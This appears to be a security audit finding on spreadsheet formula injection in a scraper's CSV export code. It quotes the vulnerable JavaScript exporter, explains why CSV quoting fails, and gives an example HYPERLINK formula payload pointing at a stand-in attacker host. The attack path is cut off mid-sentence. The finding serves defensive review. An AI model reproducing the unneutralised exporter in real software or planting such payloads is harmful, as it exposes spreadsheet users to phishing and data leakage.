T09 · Insecure Skill Coding Practices
- Location
reference/scripts/run_actor.js:245- Finding
Spreadsheet Formula Injection in CSV Exports
- Content
View full analysis
{ let value = row[key]; // Truncate long text fields if (typeof value === 'string' && value.length > 200) { value = value.slice(0, 200) + '...'; } else if (Array.isArray(value) || (typeof value === 'object' && value !== null)) { value = JSON.stringify(value) || ''; } // CSV escape: wrap in quotes if contains comma, quote, or newline if (value === null || value === undefined) { return ''; } const strValue = String(value); if (strValue.includes(',') || strValue.includes('"') || strValue.includes('\n')) { return `"${strValue.replace(/"/g, '""')}"`; } return strValue; }); csvLines.push(values.join(',')); } ``` ### Technical Analysis The CSV exporter escapes commas, double quotes, and newlines, but it does not neutralize values interpreted as formulas by spreadsheet applications. Remotely sourced Actor results can contain strings beginning with formula-triggering characters such as `=`, `+`, `-`, or `@`. CSV quoting does not reliably prevent formula evaluation. Consequently, a value such as `=HYPERLINK("https://attacker.example","Open")` may remain an active expression when the exported file is opened in Excel, LibreOffice Calc, or another spreadsheet application. Field names are also remotely derived through `Object.keys(data[0])` and written without CSV escaping or formula neutralization. ### Attack Path 1. An attacker publishes crafted content on a platform targeted by one of the supported scrapers. 2. The content begins with a spreadsheet f ...[truncated 1041 chars]- Remediation
View remediation
